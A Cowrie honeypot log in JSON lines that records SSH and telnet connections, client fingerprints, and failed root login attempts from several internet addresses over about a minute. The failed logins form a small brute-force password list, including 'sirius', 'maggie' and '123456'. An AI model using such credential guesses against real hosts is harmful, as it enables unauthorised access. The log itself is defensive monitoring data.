{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48774,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3094a3bf07c","protocol":"ssh","message":"New connection: 37.233.85.71:48774 (10.17.0.5:22) [session: c3094a3bf07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:31.417176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:31.422575Z","src_ip":"37.233.85.71","session":"c3094a3bf07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:31.532179Z","src_ip":"37.233.85.71","session":"c3094a3bf07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sirius","message":"login attempt [root/sirius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:31.861708Z","src_ip":"37.233.85.71","session":"c3094a3bf07c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a016ebe7653","protocol":"telnet","message":"New connection: 192.119.13.58:38290 (10.17.0.5:23) [session: 6a016ebe7653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:32.887818Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:32.974418Z","src_ip":"37.233.85.71","session":"c3094a3bf07c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45782,"dst_ip":"159.203.135.109","dst_port":22,"session":"b58c74e02a72","protocol":"ssh","message":"New connection: 103.27.238.114:45782 (159.203.135.109:22) [session: b58c74e02a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:33.804044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:33.808682Z","src_ip":"103.27.238.114","session":"b58c74e02a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42978,"dst_ip":"10.17.0.5","dst_port":23,"session":"86726ff23ab0","protocol":"telnet","message":"New connection: 192.119.13.58:42978 (10.17.0.5:23) [session: 86726ff23ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:33.972352Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3030348859c","protocol":"telnet","message":"New connection: 192.119.13.58:43124 (10.17.0.5:23) [session: b3030348859c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:34.009984Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:34.067265Z","src_ip":"103.27.238.114","session":"b58c74e02a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maggie","message":"login attempt [root/maggie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:34.842665Z","src_ip":"103.27.238.114","session":"b58c74e02a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:36.105050Z","src_ip":"103.27.238.114","session":"b58c74e02a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.18903064727783,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:39.322380Z","src_ip":"192.119.13.58","session":"d0264ca86b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4848735332489,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:39.744462Z","src_ip":"192.119.13.58","session":"23830c2f3700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13779044151306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:40.233918Z","src_ip":"192.119.13.58","session":"834a3c6455f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78127193450928,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:41.287150Z","src_ip":"192.119.13.58","session":"abd751d86c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.52370810508728,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:43.403160Z","src_ip":"192.119.13.58","session":"9a13ebb13deb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56070,"dst_ip":"10.17.0.5","dst_port":22,"session":"228b58f815e7","protocol":"ssh","message":"New connection: 80.94.92.184:56070 (10.17.0.5:22) [session: 228b58f815e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:44.961463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:45.199523Z","src_ip":"80.94.92.184","session":"228b58f815e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:45.207996Z","src_ip":"80.94.92.184","session":"228b58f815e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37672,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f2d74330ca2","protocol":"telnet","message":"New connection: 192.119.13.58:37672 (10.17.0.5:23) [session: 2f2d74330ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:46.385939Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:47.357453Z","src_ip":"80.94.92.184","session":"228b58f815e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43442,"dst_ip":"10.17.0.5","dst_port":23,"session":"b883dd342634","protocol":"telnet","message":"New connection: 192.119.13.58:43442 (10.17.0.5:23) [session: b883dd342634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:47.845076Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58164,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d727f5546c9","protocol":"ssh","message":"New connection: 38.93.206.2:58164 (159.203.135.109:22) [session: 2d727f5546c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:48.782052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:48.786373Z","src_ip":"38.93.206.2","session":"2d727f5546c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:48.836665Z","src_ip":"38.93.206.2","session":"2d727f5546c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:48.860315Z","src_ip":"80.94.92.184","session":"228b58f815e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:48.988600Z","src_ip":"38.93.206.2","session":"2d727f5546c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.96200156211853,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:49.038934Z","src_ip":"192.119.13.58","session":"3e2dd42b23aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:50.066123Z","src_ip":"38.93.206.2","session":"2d727f5546c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.3890962600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:51.302951Z","src_ip":"192.119.13.58","session":"d24c3abf0d27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.96383571624756,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:55.669303Z","src_ip":"192.119.13.58","session":"fe78d88b3464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44386,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32307f1030e","protocol":"telnet","message":"New connection: 192.119.13.58:44386 (10.17.0.5:23) [session: d32307f1030e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:02.381451Z"}
{"eventid":"cowrie.session.closed","duration":37.635114669799805,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:02.963381Z","src_ip":"192.119.13.58","session":"993e3c778d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":37780,"dst_ip":"159.203.135.109","dst_port":22,"session":"110a89e20b39","protocol":"ssh","message":"New connection: 69.6.222.198:37780 (159.203.135.109:22) [session: 110a89e20b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:04.013995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:04.018677Z","src_ip":"69.6.222.198","session":"110a89e20b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:04.133062Z","src_ip":"69.6.222.198","session":"110a89e20b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.70718050003052,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:04.487262Z","src_ip":"192.119.13.58","session":"63e3e981b635","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatthefuck","message":"login attempt [root/whatthefuck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:04.622901Z","src_ip":"69.6.222.198","session":"110a89e20b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":40466,"dst_ip":"10.17.0.5","dst_port":22,"session":"7463ee93cfb6","protocol":"ssh","message":"New connection: 94.159.110.201:40466 (10.17.0.5:22) [session: 7463ee93cfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:05.146363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:05.156466Z","src_ip":"94.159.110.201","session":"7463ee93cfb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:05.657355Z","src_ip":"94.159.110.201","session":"7463ee93cfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:05.740896Z","src_ip":"69.6.222.198","session":"110a89e20b39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michael","message":"login attempt [root/michael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:06.423454Z","src_ip":"94.159.110.201","session":"7463ee93cfb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"c23ee3e51dd3","protocol":"telnet","message":"New connection: 192.119.13.58:57740 (10.17.0.5:23) [session: c23ee3e51dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:06.545962Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9829c50cfa03","protocol":"telnet","message":"New connection: 192.119.13.58:37878 (10.17.0.5:23) [session: 9829c50cfa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:07.384955Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:07.552497Z","src_ip":"94.159.110.201","session":"7463ee93cfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.82687449455261,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:07.975206Z","src_ip":"192.119.13.58","session":"021384ee99ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.537956953048706,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:10.547845Z","src_ip":"192.119.13.58","session":"b3030348859c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.47640562057495,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:12.364076Z","src_ip":"192.119.13.58","session":"6a016ebe7653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48104,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff544896c96e","protocol":"telnet","message":"New connection: 192.119.13.58:48104 (10.17.0.5:23) [session: ff544896c96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:16.841070Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55356,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04442da8cb6","protocol":"telnet","message":"New connection: 192.119.13.58:55356 (10.17.0.5:23) [session: c04442da8cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:18.559984Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f5b08ea784","protocol":"telnet","message":"New connection: 192.119.13.58:49544 (10.17.0.5:23) [session: d3f5b08ea784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:20.305979Z"}
